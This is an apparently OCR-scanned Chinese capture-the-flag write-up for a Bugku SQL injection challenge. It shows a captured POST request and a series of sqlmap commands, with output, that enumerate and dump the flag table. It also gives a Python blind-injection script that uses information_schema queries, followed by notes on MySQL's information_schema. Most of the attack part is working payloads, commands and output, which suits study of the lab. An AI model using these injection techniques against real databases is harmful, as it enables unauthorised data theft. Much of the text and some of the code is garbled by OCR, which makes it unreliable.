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2 3 BUGKU{Sql_INJECTON_4813drd8hz4}

o f#¥:—: Fsqlmap
o HAIEEITID.
fraw rparams rheaders |/hex |

POST fchengjidan/index.php HTTP/1.1

Host: 120.24.86.145:8002

Uzser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:6l.0) Gecko/Z0100101 Firefox/6l1.0
Aooept: text/htmwl,application/xhtml+xwl, application/xml;gq=0.9, %/ %;q=0.8
Apcept-Language: zh-CH, zh;g=0.8, eh-TW:q=0.7, eh-HE:; q=0.5,en-U3;q=0.3,en; =0.2
Aocept-Encoding: gezip, deflate

Referer: http://120.24.56.145:5002/ chengiidan/

Content-Type: application/x-wwy-form—urlencoded

Content-Length: 4

Connection: keep-alive

Upgrade-Insecure-Requests: 1

id=1




WIEHEAR, mdrcopy to filefRfF3Xf, XEERAFE T Cht 333.txt.

ms | headers hex

agyjidansindex.php HTTE/1.1

.24.56.145:8002

i Mozilla/sS.0 (Windows NT 6.1; rv:6l.0) Gecko/20100101 Firefox/6l.0
=xt/html,application/xhtml+xml,application/xml;q=0.9, %/ % q=0.8
aguace: zh-CM, 2h:g=0.5, sh-TW;=0.7, zh-HE:qg=0.5,en-US3;g=0.3,en;gq=0.2

zoding: gezip, deflate

attp://120.24.586.145: 8002/ chengdidan/ choase a file ta save to
ype: application/x-uwy—form-urlencoded
=ngth: 4 . 2 C: ="a oo | O—
h: Keep-alive 1218 | = SRR (C) - bim| Bl o=
asecure-Requests: 1
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SR J5 T Frsqlmap T i #% FE :sqlmap.py -r “C:\333.txt” -p id —current-db
-r —> E—A 30

-p >1RESH

—current-db —>3REU 4 BT $3E EE AR CcurrentdT A B 4~-)

B SES: SQLMap = | S

[ 1L 1 testing connection to the target URL
sglmap resumed the following injection point{s)» from stored session:
Parameter: id (POST>

Type:= ANDAOR time—hased blind

Title: MySQL >= 5.8.12 AND time—based blind

Payload: id=1' AND SLEEP<(5> AND *dicW’="dicW

Type:= UNION query

Title: Generdic UNION gquery (NULL> — 4 columns

Payload: id=-3137' UNION ALL SELECT NULL.NULL.CONCAT<(Bx7178626271,.8x474hbcde
4541 4Ff 627244534a795066774f 6e434e73625856577567555575714369434c5248626443 . Bx?16a6

a7671) NULL— kJj¥

L INFO

hack—end DBMS: MySQL >= 5.8.12

[ 1L 1 fetching current datahbasze

current database: ‘skotf_flag’

[ 1L 1 fetched data logged to text files under ‘C: lUszers dmt>.zqlmap
output~128.24.86.145"

[#]1 shutting down at 1@:55:21

C:“Python2?\ArcGIS1A. 2 xsglmap>




A DAE BB IR R skctf_flag' BB B2 BR

sqglmap.py -r “C:\333.txt” -p id -D skctf_flag - -tables

-D —>1i & B FE A R

—tables —> %1 H ¥4 2 ) K (tablesHi & Bi 1)

& SES: SQLMap E=RECE X"

Title: Generic UNION gquery (MULL> — 4 columns

Payload: id=-3137' UNION ALL SELECT NULL.NULL,CONCAT (8x7178626271 .8x474bbcde
4541 4Ff 627244534a775066774F6e434e?3625056577569555575714369434c5248626443 . Bx716ab
a7671 ) NULL— kdJjY¥

1 [INFO1 the bhack-end DBMS is MySQL
back—end DBMS: HMySQL >= 5.8.12
1L 1 fetching tabhles for database: ‘skctf_flag’

1L 1 used 5QL guery returns 2 entries

1L 1 resumed: fldg
1L 1 rezumed: s=sc

Datahase: skctf_flag

[2 table=s]

11 1 fetched data leogged to text files uwnder 'C:lUserssdmts_sglnap
output~128.24_86.145"

[#] shutting down at 11:86:38

C:“Python2? ArcGISiB8. 2 sglmap>

BB LRI EERERNR, BAR, flaghZEMdgRY, THRLZBEHRPIHFERT
sqlmap.py -r “C:\333.txt” -p id -D skctf_flag -T fl4g —columns
-T >R ERER

—columns —>%1| i & 7 1) # B
Bl EEL: SQLMap “»aPPan » an [E=RE=N -~ |

Title: Generic UNION gquery (MULL> — 4 columns .

Payload: id=-3137' UNION ALL SELECT NULL.NULL,CONCAT (8x7178626271 .8x474bbcde
4541 4Ff 627244534a775066774F6e434e 736250565 77569555575714369434c5248626443 . Bx716ab
a7671 ) NULL— kJjY¥

L 1 [INFO1 the back-end DBMS is MySQL
back—end DBMS: HMySQL >= 5.8.12
[ 1L 1 fetching columns for tabhle 'fl4g’ in databhase ‘skctf_flag’
[ 1L 1 used 8QL guery returns 1 entries
Datahase: skctf_flag
Tahle: fl4dg
column ]

| skctf_flag

—

[ 1L 1 fetched data logged to text files under 'C:slUserssdmts.sglmap
output~128.24.86.145"

[#]1 shutting down at 11:12:48

C:“Python2? ArcGISiBd. 2 sglmap>




fldgR 1 H — A4 Hysketf_flagF B, HJGFIHFEAS B AT LAk,
sqlmap.py -r “c:\333.txt” -p id -D skctf flag -T fldg -C skctf_flag —dump

—dump —>31 1 7 B8R (dump i A B AN-)
B =ES: SQLMap (== |-

[ 1L 1 used SQL guery returns 1 entries

[ 1L 1 in case of continuwous data retrieval problems you are advis
ed to try a switch '——no—cast’ or switch ' —hex’

[ 1L 1 fetching number of columni{s> ‘skctf_flag’ entries for tahle ‘f
14g* in datahase ‘skctf_flag’

L 1L 1 resumed: 1

L 11 1 resumed:= BUGKU{Sgl IMJECTHN_4813drdBhz4>

Database: skctf_flag

Tahle: fl4g

11 1 tabhle ‘skctf_flag.fldg’ dumped to CEU file ‘C:lUsers dmt>.zglm
apsoutput~128_24_86 145 dunp skctf_ flag~fldg.csu’
L 11 1 fetched data logged to text files under ‘C:Userssdmt>.zglmap
output~128_24_86_145"'

[+#] shutting down at 11:37:-24

C=~Python2? ArcGIS10. 2 sglnap>

3. python sqlE #*
i #iEid=1" and 1=1#80R B RS, id=1"and 1=2# R &R B St W UAE X IE & A LR AR E R
J A&



# -*- coding:utf-8 -*-
import requests
import re

url = "http://120.24.86.145:8002/chengjidan/index.php"

base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prepl.prep2,prep3) #&xXKiExprepl

#tbase_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=d
#tpayload = "database()" #skctf_flag

#tpayload = "(select table_name from information_schema.tables where table_schema=database() limit ©,1)" #f1
#tpayload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_

payload = "(select skctf_flag from fl4g limit o,1)"

information=

for m in range(1,50):
for i in range(32,129):
post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
r = requests.post(url,post_data)
resultarr = re.findall(r"<td>(.+?)<td>",r.text)
result = ''.join(resultarr)
#print result
#print r.text
#print post_data
if '6@' not in result:
information += chr(i)
break
print information
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RFEZZLBFAMYSQLE, KUK T B CZENEHIEELSL, EF —4information_schemai# k& .
information_schema$ & B R H 4 BB, 18 FHWordPresstE & KRR A AT RES A8, AR 22 SRR TR b i B
FEWF? BREARXE &, REieXtinformation_schemaiig EH BT T ko

information_schema%it4& FE & MySQL B # i), ‘B4 T U7 R E nEdE s X Ha 2 udEe? oids =2
RTFEEOEIE, WEREELRRE, FINEIHERE, RGRPRRSE. FRrEHRTRREEBHEMRER
R BRI RAEEH R

fEMySQLH, # information_schema FER — MR E, #YIWLEBEEE. HPRESE X TMySQLkRS
BETEPE HMEEENGEE. WEEESL, BEENR, REMNEERE SRR RE. £
INFORMATION_SCHEMAH, BHARiEER. EMI1LhF LEME, mMAREARR, Hit, RELEEFERSZH
RIEAT S

information_schema$#i& & 2 1 B3 :
SCHEMATAR : 4t 7 X FTmysqlseflH Bl 8 E 115 B.. Zshow databasesi) 45 REUZ M3 .

TABLESZE: #MTRTFHEEFHRNEE (BFEMAE) . HHRART ENRE THAschema, RRA, X
54, fJERE%EE . Rshow tables from schemanameff 4 2B Z 3% .

COLUMNSZR: #4tTRHHIIMER. HHRR T HKRWTAE S U LEANFIHEE. &show columns from
schemaname.tablenamef) 45 £ Bl 3% .

STATISTICS%: Mt TR TEZEIIHEE. £show index from schemaname.tablenamelf1 4 £ B hE .

USER_PRIVILEGES (HP#UR) &: S TR TEEMNRKELR . &5 BIRBmysql.userZ R . ZIEfniE
o

SCHEMA PRIVILEGES (F&BUR) &: SHHTXRTHR (FEE) BURKER . %15 B kREmysql.dbizil
Ko RIERHER.

TABLE_PRIVILEGES (FAM[R) &: AHTRTRIRKEL. %[5 BIEBmysql.tables_priviZ R . ZIEH
HR,

COLUMN_PRIVILEGES (FIMUR) £: HH TR TFIMBIIELR. %5 BIHEmysql.columns_priviZ iR, =&
ERHER .

CHARACTER_SETS (F#f%) ®: R4t T mysqlSEBImTHFHFEKNER . £SHOW CHARACTER SET4i 4
Bz .

COLLATIONS=R: #At T R T & FAFERXIE R

COLLATION_CHARACTER_SET_APPLICABILITYZ: #5887 W H TR FRE. XEFFEHRTSHOW
COLLATIONHIHI S B F B o

TABLE_CONSTRAINTS: #iR T FELRKIR. LARMARER,
KEY_COLUMN_USAGEZ: #iiik T B HAHRK#S].

ROUTINES#%: #R#tTXTHETERF FHMEFMRED KER. WK, ROUTINESEAEE HE LR
(UDF) . 4 4“mysql.proc name” #1548 B 7 %} B2 F INFORMATION_SCHEMA ROUTINESZ ffimysqgl.proc®
%,

VIEWS®: % TR THHEEPHMEREE. FEAshow viewstUR, BN TEEFNEIEER.
TRIGGERS®%: #fft T X THMABEFKERE. BHHsupertl R4 RREFZR
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